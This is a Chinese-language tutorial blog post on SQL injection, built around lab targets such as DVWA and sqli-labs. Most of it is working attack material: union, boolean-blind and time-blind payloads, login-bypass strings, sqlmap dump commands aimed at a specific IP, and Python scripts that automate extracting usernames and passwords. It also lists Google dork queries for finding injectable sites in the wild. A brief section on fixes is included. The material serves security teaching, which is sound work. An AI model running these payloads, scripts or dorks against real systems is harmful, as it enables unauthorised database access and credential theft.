首發地址:我的個人博客
前言
本文章產生的緣由是因爲專業老師,讓我給本專業的同學講一哈SQL注入和XSS入門,也就是本文的入門篇,講完兩節課後,發現自己對於SQL注入的理解也就僅僅侷限於入門,於是有了後面章節的產生。
入門篇
一、課程目標
聽完這節課你能學到些什麼👇
- 知道什麼是Sql注入
- 實現最基礎的Sql注入
- 學會使用SqlMap工具
- 瞭解一些Web安全基本知識
二、初識SQL注入
1 什麼是SQL
SQL(Structured Query Language) 是用於
訪問和處理數據庫
的標準的計算機語言,SQL與數據庫程序協同工作,比如 SQL Server、MySQL、Oracle、SQLite、MongoDB、PostgreSQL、MS Access、DB2以及其他數據庫系統。
SQL執行流程
2 什麼是SQL注入
SQL注入是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而得到相應的數據信息。
通俗來說:OWASP Top10之一,SQL注入是通過將惡意的SQL語句
插入到Web應用的輸入參數中,欺騙服務器
執行惡意的SQL命令的攻擊。
SQL注入流程
3 SQL注入分類
根據SQL數據類型分類
- 整型注入
- 字符型注入
根據注入的語法分類
- 聯合查詢注入(Union query SQL injection)
- 報錯型注入(Error-based SQL injection)
- 布爾型注入(Boolean-based blind SQL injection)
- 延時注入(Time-based blind SQL injection)
- 多語句查詢注入 (Stacted queries SQL injection)
三、初試SQL注入
1 手工注入常規思路
1.判斷是否存在注入,注入是字符型還是數字型
2.猜解 SQL 查詢語句中的字段數
3.確定顯示的字段順序
4.獲取當前數據庫
5.獲取數據庫中的表
6.獲取表中的字段名
7.顯示字段信息
2 實現完整手工注入
靶機:DVWA
將DVWA的級別設置爲low,可以看到源碼中是一句簡單的查詢語句,沒有進行任何過過濾
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';
因此我們完全可以插入自己想要執行的sql語句,那麼我們開始吧!
輸入我們輸入1,那麼執行的語句就是
SELECT first_name, last_name FROM users WHERE user_id = '1'
1.判斷注入是字符型還是數字型
字符型和數字型最大區別: 數字型不需要單引號來閉合,而字符串一般需要通過單引號來閉合的
數字型:select * from table where id =$id
字符型:select * from table where id='$id'
判斷數字型
1 and 1=1 #永真式 select * from table where id=1 and 1=1
1 and 1=2 #永假式 select * from table where id=1 and 1=2
#if頁面運行錯誤,則說明此Sql注入爲數字型注入。
判斷字符型
1' and '1'='1
1' and '1'='2
#if頁面運行錯誤,則說明此 Sql 注入爲字符型注入。
執行上面兩種方式一種就可得出結論,顯示這個是字符型注入
2.猜解SQL查詢語句中的字段數
1' or 1=1 order by 1 # 查詢成功 【order by x 對第幾列進行排序】1' order by 1 # id=‘1‘ #’ 註釋
1' or 1=1 order by 2 # 查詢成功
1' or 1=1 order by 3 # 查詢失敗
[圖片上傳失敗...(image-675df1-1589763722101)]
說明執行的SQL查詢語句中只有兩個字段,即這裏的First name、Surname。
3.確定顯示的字段順序
1' union select 1,2 #
說明執行的SQL語句爲select First name,Surname from xx where ID='id'
理解select 1,2:例如一個網站的參數傳遞執行的查詢有3個字段,很可能這些字段不是都顯示在網頁前端的,假如其中的1或2個字段的查詢結果是會返回到前端的,那麼我們就需要知道這3個字段中哪兩個結果會回顯,這個過程相當於找到數據庫與前端顯示的通道。如果我們直接輸入查詢字段進行查詢,語句會非常冗長,而且很可能還需要做很多次測試,這時候我們利用一個簡單的select 1,2,3,根據顯示在頁面上的數字就可以知道哪個數字是這個“通道”,那麼我們只需要把這個數字改成我們想查詢的內容(如id,password),當數據爆破成功後,就會在窗口顯示我們想要的結:果。
4.獲取當前數據庫
上步知道字段顯示順序,那我們在字段2的位置上顯示數據庫試試
1' union select 1,database() #
說明當前的數據庫爲dvwa。
5.獲取數據庫中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #
information_schema.tables存儲了數據表的元數據信息,下面對常用的字段進行介紹:
- table_schema: 記錄數據庫名;
- table_name: 記錄數據表名;
- engine : 存儲引擎;
- table_rows: 關於表的粗略行估計;
- data_length : 記錄表的大小(單位字節);
- index_length : 記錄表的索引的大小;
- row_format: 可以查看數據表是否壓縮過;
[圖片上傳失敗...(image-a76ec8-1589763722101)]
說明數據庫dvwa中一共有兩個表,guestbook與users。
6.獲取表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
[圖片上傳失敗...(image-195c58-1589763722101)]
說明users表中有8個字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login
7.獲取字段信息
1' union select group_concat(user_id,first_name),group_concat(password) from users #
1' union select group_concat(concat_ws(':',first_name,password)),2 from users #
1' union select first_name,password from users #
這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數據。
3 實戰演練一哈
就以我自己搭建的靶機爲例子🌰
在主頁搜索框發現注入點,話不多說開始注入
#判斷注入類型 #【數字型】
1 and 1=1
1 and 1=2
#查詢數據庫 #【test】
-1 union select 1,2,database()
#獲取數據庫中的表 #【admin、news】
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'
#獲取表中的字段名 #【 user_id、user_name、user_pass】
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='admin'
#獲取字段信息 【admin:mysql】
-1 union select 1,group_concat(user_name),group_concat(user_pass) from admin
-1 union select 1,user_name,user_pass from admin
我們又快速的實現了一次手工注入,但是你有沒和我一樣的感覺,太麻煩了,有更方便的方法嗎,emm...
當然有啦,使用SqlMap工具可以快速實現注入👇
四、使用SqlMap注入
具體使用方法請問我之前寫的文章👉sqlmap使用方法
SqlMap初體驗
接着使用上面靶機進行測試
#查詢數據庫 #【test】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 --dbs
#獲取數據庫中的表 #【admin、news】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test --tables
#獲取表中的字段名 #【 user_id、user_name、user_pass】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin --columns
#獲取字段信息 【admin:mysql】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin -C user_name,user_pass --dump
一道CTF題目
題目:簡單的sql注入2
地址:http://139.224.112.182:8087/ctf_collect
解析:https://www.jianshu.com/p/1aeedef99f21
1.查詢當前數據庫(空格被過濾可以使用tamper腳本中space2comment)
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs
發現web1數據庫
2.查詢數據庫中的表
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --tables
發現flag表
3.查詢flag表中字段名
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --columns -T flag -D web1
發現flag字段
4.查詢字段flag信息
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dump -C flag -T flag -D web1
<img src="https://i.loli.net/2020/05/04/TfZAoObdMPiLJIt.png" style="zoom: 80%;" />
五、發現注入點
1 使用漏洞掃描工具
工具:OWASP ZAP、D盾、Seay
萬能密碼:
1' or 1=1 # 用戶名和密碼都可
' or '1'='1' --
1' or '1'='1 密碼纔可
<script>alert(1);</script>
2 通過Google Hacking 尋找SQL注入
看到這裏我們已經完成了一次最基礎的GET字符型Sql注入,有人可能會問了,這是自己搭建的靶機,知道是存在sql注入,真實環境中如何去發現Sql注入呢
inurl:php?id=
inurl:.asp?id=
inurl:index.php?id=
inurl:showproduct.asp?id=
site:http://139.224.112.182:8802/ inurl:php?id
site:https://jwt1399.top inurl:.html
......
服務器報錯,並把錯誤信息返回到網頁上面。根據錯誤信息,判斷這裏大概率存在注入點。
六、 修復建議
- 過濾用戶輸入的數據。默認情況下,應當認爲用戶的所有輸入都是不安全的。
- 對於整數,判斷變量是否符合[0-9]的值;其他限定值,也可以進行合法性校驗;
- 對於字符串,對SQL語句特殊字符進行轉義(單引號轉成兩個單引號,雙引號轉成兩個雙引號)。
- 綁定變量,使用預編譯語句
進階篇
SQL注入前你要知道
不要急於進行SQL注入,請先看完這部分,很重要!,很重要!,很重要!
1.基本的SQL語句查詢源碼
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# LIMIT [偏移量],行數
通常情況下聯合查詢(union)時需要將前面的查詢結果限定爲空集,後面的查詢結果才能顯示出來。例如id值設爲負數或0,因爲帶有LIMIT 0,1
則只能顯示一條數據
?id=-1 union select 1,2,3
?id=0 union select 1,2,3
?id=-1' union select 1,2,group_concat(username,password) from users
2.MySQL數據庫幾種註釋
註釋符 | 描述 |
---|---|
# |
單行註釋 URL編碼 %23 ,在URL框直接使用中# 號必須用%23 來表示,#在URL框中有特定含義,代表錨點 |
--空格 |
單行註釋 ,實際使用中--空格 用--+ 來表示。因爲在URL框中,瀏覽器在發送請求的時候會把URL末尾的空格捨去,所以用--+ 代替--空格
|
/* */ |
塊註釋 |
/*! */ |
內聯註釋 |
3.數據庫相關--Information_schema庫
-
information_schema
,系統數據庫,包含所有數據庫相關信息。 -
information_schema.schemata
中schema_name
列,字段爲所有數據庫名稱。 -
information_schema.tables
中table_name
列對應數據庫所有表名 -
information_schema.columns
中,column_name
列對應所有列名
5.連接字符串函數
concat(),concat_ws()與及group_concat()的用法
concat(str1,str2,…)
——沒有分隔符地連接字符串concat_ws(separator,str1,str2,…)
——含有分隔符地連接字符串group_concat(str1,str2,…)
——連接一個組的所有字符串,並以逗號分隔每一條數據,知道這三個函數能一次性查出所有信息就行了。
6.MySQL常用的系統函數
version() #MySQL版本
user() #數據庫用戶名
database() #數據庫名
@@basedir #數據庫安裝路徑
@@datadir #數據庫文件存放路徑
@@version_compile_os #操作系統版本
盲注
SQL盲注,與一般注入的區別在於,一般的注入攻擊者可以直接從頁面上看到注入語句的執行結果,而盲注時攻擊者通常是無法從顯示頁面上獲取執行結果,甚至連注入語句是否執行都無從得知,因此盲注的難度要比一般注入高。目前網絡上現存的SQL注入漏洞大多是SQL盲注。
手工盲注思路
手工盲注的過程,就像你與一個機器人聊天,
這個機器人知道的很多,但只會回答“是
”或者“不是
”,
因此你需要詢問它這樣的問題,例如“數據庫名字的第一個字母是不是a啊?
”
通過這種機械的詢問,最終獲得你想要的數據。
手工盲注的步驟
1.判斷是否存在注入,注入是字符型還是數字型
2.猜解當前數據庫名
3.猜解數據庫中的表名
4.猜解表中的字段名
5.猜解數據
盲注常用函數
函數 | 描述 |
---|---|
left(字符串,截取長度) | 從左邊截取指定長度的字符串 |
length(字符串) | 獲取字符串的長度 |
ascii(字符串) | 將指定字符串進行ascii編碼 |
substr(字符串,start,截取長度) | 截取字符串,可以指定起始位置和長度 |
mid(字符串,start,截取長度) | 截取字符串,可以指定起始位置和長度 |
count() | 計算總數,返回匹配條件的行數。 |
sleep(n) | 將程序掛起n秒 |
if(參數1,參數2,參數3) | 參數1爲條件,當參數1返回的結果爲true時,執行參數2,否則執行參數3 |
布爾盲注
布爾注入利用情景
- 頁面上沒有顯示位,並且沒有輸出SQL語句執行錯誤信息
- 只能通過頁面返回正常與不正常判斷
實現完整手工布爾盲注
靶機:sqli-labs第5關
1 .查看頁面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
【字符型】
2.猜解數據庫長度
使用length()判斷數據庫長度,二分法可提高效率
?id=1' and length(database())>5 --+
?id=1' and length(database())<10 --+
?id=1' and length(database())=8 --+
【length=8】
3.猜當前數據庫名
方法1:使用substr函數
?id=1' and substr(database(),1,1)>'r'--+
?id=1' and substr(database(),1,1)<'t'--+
?id=1' and substr(database(),1,1)='s'--+
?id=1' and substr(database(),2,1)='e'--+
...
?id=1' and substr(database(),8,1)='y'--+
【security】
方法2:使用ascii函數和substr函數
?id=1' and ascii(substr(database(),1,1))>114 --+
?id=1' and ascii(substr(database(),1,1))<116 --+
?id=1' and ascii(substr(database(),1,1))=115 --+
【security】
方法3:使用left函數
?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)<'t'--+
?id=1' and left(database(),1)='s' --+
?id=1' and left(database(),2)='se' --+
?id=1' and left(database(),3)='sec' --+
...
?id=1' and left(database(),8)='security' --+
【security】
方法4:使用Burpsuite的Intruder模塊
將獲取數據庫第一個字符的請求包攔截併發送到Intruder模塊
設置攻擊變量以及攻擊類型
設置第一個攻擊變量,這個變量是控制第幾個字符的
設置第二個攻擊變量,這個變量是數據庫名字符
開始攻擊,一小會就能得到測試結果,通過對長度和變量進行排序可以看到數據庫名成功得到
4.判斷表的個數
count()函數是用來統計表中記錄的一個函數,返回匹配條件的行數。
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>0 --+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
【4個表】
5.判斷表的長度
limit可以被用於強制select語句返回指定的條數。
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
【第一個表長度爲6】
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+
【第二個表長度爲8】
6.猜解表名
方法1:使用substr函數
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'d' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'f' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+
...
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)='s' --+
【第一個表名爲emails】
方法2:使用Burpsuite的Intruder模塊
使用方法跟上方獲得數據庫名一樣,就不贅述了
7.猜解字段名和字段信息
#確定字段個數
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')>0 --+
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')=3 --+
【字段個數爲3】
#確定字段名的長度
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))>0 --+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))=2 --+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1))=8 --+
【第一個字段長度爲2,第二個字段長度爲8】
#猜字段名 同上使用burp
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)='i' --+
【...id,username,password...】
#確定字段數據長度
?id=1' and length((select username from users limit 0,1))=4 --+
【第一個字段數據長度爲4】
#猜解字段數據 同上使用burp
?id=1' and substr((select username from users limit 0,1),1,1)='d' --+
?id=1' and ascii(substr((select username from users limit 0,1),1,1))>79 --+
【第一個username數據爲dumb】
使用SQLmap實現布爾盲注
--batch: 用此參數,不需要用戶輸入,將會使用sqlmap提示的默認值一直運行下去。
--technique:選擇注入技術,B:Boolean-based-blind (布爾型盲注)
--threads 10 :設置線程爲10,運行速度會更快
#查詢數據庫 #【security】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B --dbs --batch --threads 10
#獲取數據庫中的表 #【emails、referers、uagents、users】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security --tables --batch --threads 10
#獲取表中的字段名 #【id、username、password】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security -T users --columns --batch --threads 10
#獲取字段信息 #【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security -T users -C username,password --dump --batch --threads 10
腳本實現布爾盲注
1.獲取數據庫名長度
# coding:utf-8
import requests
# 獲取數據庫名長度
def database_len():
for i in range(1, 10):
url = '''http://139.224.112.182:8087/sqli1/Less-5/'''
payload = '''?id=1' and length(database())=%d''' %i
r = requests.get(url + payload + '%23') # %23 <==> --+
if 'You are in' in r.text:
print('database_length:', i)
break
else:
print(i)
database_len()
# 【database_length: 8】
2.獲取數據庫名
# coding:utf-8
import requests
#獲取數據庫名
def database_name():
name = ''
for j in range(1,9):
for i in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_':
url = "http://139.224.112.182:8087/sqli1/Less-5/"
payload = "?id=1' and substr(database(),%d,1)='%s' --+" %(j, i)
r = requests.get(url + payload)
if 'You are in' in r.text:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
# 【database_name: security】
3.獲取數據庫中表
# coding:utf-8
import requests
# 獲取數據庫表
def tables_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://139.224.112.182:8087/sqli1/Less-5/"
payload = '''?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s' --+''' % (j, i)
r = requests.get(url + payload)
if 'You are in' in r.text:
name = name + i
print(name)
break
print('table_name:', name)
tables_name()
#【table_name: emails,referers,uagents,users】
4.獲取表中字段
# coding:utf-8
import requests
# 獲取表中字段
def columns_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://139.224.112.182:8087/sqli1/Less-5/"
payload = "?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)='%s' --+" %(j, i)
r = requests.get(url + payload)
if 'You are in' in r.text:
name = name + i
print(name)
break
print('column_name:', name)
columns_name()
#【column_name: id,username,password】
5.獲取字段值
# coding:utf-8
import requests
# 獲取字段值
def value():
name = ''
for j in range(1, 100):
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
url = "http://139.224.112.182:8087/sqli1/Less-5/"
payload = "?id=1' and substr((select group_concat(username,password) from users),%d,1)='%s' --+" %(j, i)
r = requests.get(url + payload)
if 'You are in' in r.text:
name = name + i
print(name)
break
print('value:', name)
value()
時間盲注
時間注入利用情景
- 頁面上沒有顯示位
- 沒有輸出報錯語句
- 正確的sql語句和錯誤的sql語句頁面返回一致
手工實現時間盲注
靶機:sqli-labs第9關
?id=1
?id=1'
?id=1"
#不管怎麼樣都不報錯,不管對錯一直顯示一個固定的頁面;
#判斷注入點
?id=1' and sleep(3)--+
#頁面響應延遲,判斷存在時間延遲型注入
#獲取數據庫名長度
?id=1' and if(length(database())=8,sleep(3),1)--+
#獲取數據庫名
?id=1' and if(substr(database(),1,1)='s',sleep(3),1)--+
結合Burpsuite的Intruder模塊
爆破數據庫名
將獲取數據庫第一個字符的請求包攔截併發送到Intruder模塊
設置攻擊變量以及攻擊類型
設置第一個攻擊變量,這個變量是控制第幾個字符的
設置第二個攻擊變量,這個變量是數據庫名字符
開始攻擊,一小會就能得到測試結果,通過對長度和變量進行排序可以看到數據庫名成功得到
獲取表名、字段名、字段信息等數據方法同上,就不贅述了
使用SQLmap實現時間盲注
--batch: 用此參數,不需要用戶輸入,將會使用sqlmap提示的默認值一直運行下去。
--technique:選擇注入技術,-T:Time-based blind (基於時間延遲注入)
--threads 10 :設置線程爲10,運行速度會更快。
#查詢數據庫 #【security】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T --dbs --batch --threads 10
#獲取數據庫中的表 #【emails、referers、uagents、users】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security --tables --batch --threads 10
#獲取表中的字段名 #【id、username、password】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users --columns --batch --threads 10
#獲取字段信息 【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users -C username,password --dump --batch --threads 10
腳本實現時間盲注
1.獲取數據庫名長度
# coding:utf-8
import requests
import datetime
# 獲取數據庫名長度
def database_len():
for i in range(1, 10):
url = '''http://139.224.112.182:8087/sqli1/Less-9/'''
payload = '''?id=1' and if(length(database())=%d,sleep(3),1)--+''' %i
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 3:
print('database_len:', i)
break
else:
print(i)
database_len()
2.獲取數據庫名
# coding:utf-8
import requests
import datetime
#獲取數據庫名
def database_name():
name = ''
for j in range(1, 9):
for i in '0123456789abcdefghijklmnopqrstuvwxyz_':
url = '''http://139.224.112.182:8087/sqli1/Less-9/'''
payload = '''?id=1' and if(substr(database(),%d,1)='%s',sleep(1),1) --+''' % (j,i)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
獲取表名、字段名、字段信息等數據的腳本類似上面布爾盲註腳本,就不贅述了
SQL注入靶場
DVWA
SQL-Injection
Low
分析:
由代碼可知,通過
REQUEST
方式接受傳遞的參數id,再通過sql語句帶入查詢,並未設置任何過濾,因此可以進行sql注入利用。常見注入測試的POC:
1.判斷是否存在注入,注入是字符型還是數字型
當輸入的參數爲字符串時,稱爲字符型。字符型和數字型最大的一個區別在於,數字型不需要單引號來閉合,而字符串一般需要通過單引號來閉合的。
輸入1,查詢成功
輸入1'and '1' ='2,查詢失敗,返回結果爲空:
輸入1' or '1'='1 頁面正常,並返回更多信息,成功查詢
判斷存在的是字符型注入。
2.猜解SQL查詢語句中的字段數
1' or 1=1 order by 1 #
查詢成功
1' or 1=1 order by 2 #
查詢成功 #是註釋作用
1' or 1=1 order by 3 #
查詢失敗
說明執行的SQL查詢語句中只有兩個字段,即這裏的First name、Surname。
3.確定顯示的字段順序
輸入1' union select 1,2 # 查詢成功: #是註釋作用
說明執行的SQL語句爲select First name,Surname from 表 where ID=’id’…
4.獲取當前數據庫
輸入1' union select 1,database() # 查詢成功:#是註釋作用
說明當前的數據庫爲dvwa。
5.獲取數據庫中的表
輸入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 查詢成功: #是註釋作用
說明數據庫dvwa中一共有兩個表,guestbook與users。
6.獲取表中的字段名
輸入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 查詢成功: #是註釋作用
說明users表中有8個字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
7.下載數據
輸入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功: #是註釋作用
這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數據。
Medium
分析:
Medium級別的代碼利用mysql_real_escape_string函數對特殊符號\x00,\n,\r,,’,”,\x1a進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。
漏洞利用
雖然前端使用了下拉選擇菜單,但我們依然可以通過抓包改參數,提交惡意構造的查詢參數。
1.判斷是否存在注入,注入是字符型還是數字型
抓包更改參數id爲1' or 1=1 # 報錯: #是註釋作用
抓包更改參數id爲1 or 1=1 #,查詢成功
說明存在數字型注入。
(由於是數字型注入,服務器端的mysql_real_escape_string函數就形同虛設了,因爲數字型注入並不需要藉助引號。)
2.猜解SQL查詢語句中的字段數
抓包更改參數id爲1 order by 2 #,查詢成功:
抓包更改參數id爲1 order by 3 #,報錯:
說明執行的SQL查詢語句中只有兩個字段,即這裏的First name、Surname。
3.確定顯示的字段順序
抓包更改參數id爲1 union select 1,2 #,查詢成功:
說明執行的SQL語句爲select First name,Surname from 表 where ID=id…
4.獲取當前數據庫
抓包更改參數id爲1 union select 1,database() #,查詢成功:
說明當前的數據庫爲dvwa。
5.獲取數據庫中的表
抓包更改參數id爲1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功:
說明數據庫dvwa中一共有兩個表,guestbook與users。
6.獲取表中的字段名
抓包更改參數id爲1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,查詢失敗:
這是因爲單引號被轉義了,變成了\'
。可以利用16進制進行繞過 ''
抓包更改參數id爲1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查詢成功:
說明users表中有8個字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
7.下載數據
抓包修改參數id爲1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功:
這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數據。
High
分析:
與Medium級別的代碼相比,High級別的只是在SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果。
漏洞利用:
雖然添加了LIMIT 1,但是我們可以通過#將其註釋掉。由於手工注入的過程與Low級別基本一樣,直接最後一步演示下載數據。
輸入1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功:
特別注意:High級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣做的目的是爲了防止一般的sqlmap注入,因爲sqlmap在注入過程中,無法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法進一步注入。
SQL-Injection(Blind)
SQL盲注,與一般注入的區別在於,一般的注入攻擊者可以直接從頁面上看到注入語句的執行結果,而盲注時攻擊者通常是無法從顯示頁面上獲取執行結果,甚至連注入語句是否執行都無從得知,因此盲注的難度要比一般注入高。目前網絡上現存的SQL注入漏洞大多是SQL盲注。
盲注中常用的幾個函數:
substr(a,b,c):從b位置開始,截取字符串a的c長度
count():計算總數
ascii():返回字符的ascii碼
length():返回字符串的長度 left(a,b):從左往右截取字符串a的前b個字符
sleep(n):將程序掛起n秒
手工盲注思路
手工盲注的過程,就像你與一個機器人聊天,這個機器人知道的很多,但只會回答“是”或者“不是”,因此你需要詢問它這樣的問題,例如“數據庫名字的第一個字母是不是a啊?”,通過這種機械的詢問,最終獲得你想要的數據。
盲注分爲基於布爾的盲注、基於時間的盲注以及基於報錯的盲注,這裏只演示基於布爾的盲注與基於時間的盲注。
下面簡要介紹手工盲注的步驟(可與之前的手工注入作比較):
1.判斷是否存在注入,注入是字符型還是數字型
2.猜解當前數據庫名
3.猜解數據庫中的表名
4.猜解表中的字段名
5.猜解數據
Low
分析:
Low級別的代碼對參數id沒有做任何檢查、過濾,存在明顯的SQL注入漏洞,同時SQL語句查詢返回的結果只有兩種:
User ID exists in the database.‘與‘ User ID is MISSING from the database.
因此這裏是SQL盲注漏洞。
漏洞利用
基於布爾的盲注:
1.判斷是否存在注入,注入是字符型還是數字型
當輸入的參數爲字符串時,稱爲字符型。字符型和數字型最大的一個區別在於,數字型不需要單引號來閉合,而字符串一般需要通過單引號來閉合的。
輸入1,顯示相應用戶存在:
輸入1’ and 1=1 #,顯示存在:
輸入1’ and 1=2 #,顯示不存在:
2.猜解當前數據庫名
想要猜解數據庫名,首先要猜解數據庫名的長度,然後挨個猜解字符。
輸入1’ and length(database())=1 #,顯示不存在;
輸入1’ and length(database())=2 #,顯示不存在;
輸入1’ and length(database())=3 #,顯示不存在;
輸入1’ and length(database())=4 #,顯示存在:
說明數據庫名長度爲4。
下面採用二分法猜解數據庫名。
輸入1' and ascii(substr(databse(),1,1))>97 #,顯示存在,說明數據庫名的第一個字符的ascii值大於97(小寫字母a的ascii值);
輸入1' and ascii(substr(databse(),1,1))<122 #,顯示存在,說明數據庫名的第一個字符的ascii值小於122(小寫字母z的ascii值);
輸入1' and ascii(substr(databse(),1,1))<109 #,顯示存在,說明數據庫名的第一個字符的ascii值小於109(小寫字母m的ascii值);
輸入1' and ascii(substr(databse(),1,1))<103 #,顯示存在,說明數據庫名的第一個字符的ascii值小於103(小寫字母g的ascii值);
輸入1' and ascii(substr(databse(),1,1))<100 #,顯示不存在,說明數據庫名的第一個字符的ascii值不小於100(小寫字母d的ascii值);
輸入1' and ascii(substr(databse(),1,1))>100 #,顯示不存在,說明數據庫名的第一個字符的ascii值不大於100(小寫字母d的ascii值),所以數據庫名的第一個字符的ascii值爲100,即小寫字母d。
…
重複上述步驟,就可以猜解出完整的數據庫名(dvwa)了。
3.猜解數據庫中的表名
首先猜解數據庫中表的數量:
1' and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 顯示不存在
1' and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 顯示存在
說明數據庫中共有兩個表。
接着挨個猜解表名:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 顯示不存在
…
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在
說明第一個表名長度爲9。
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=data'ase() limit 0,1),1,1))>103 # 顯示不存在
說明第一個表的名字的第一個字符爲小寫字母g。
重複上述步驟,即可猜解出兩個表名(guestbook、users)。
4.猜解表中的字段名
首先猜解表中字段的數量:
1' and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 顯示不存在
...
1' and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 顯示存在
說明users表有8個字段。
接着挨個猜解字段名:
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 顯示不存在
…
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在
說明users表的第一個字段爲7個字符長度。
採用二分法,即可猜解出所有字段名。
5.猜解數據
同樣採用二分法。
基於時間的盲注:
1.判斷是否存在注入,注入是字符型還是數字型
輸入1' and sleep(5) #,感覺到明顯延遲;
輸入1 and sleep(5) #,沒有延遲;
說明存在字符型的基於時間的盲注。
2.猜解當前數據庫名
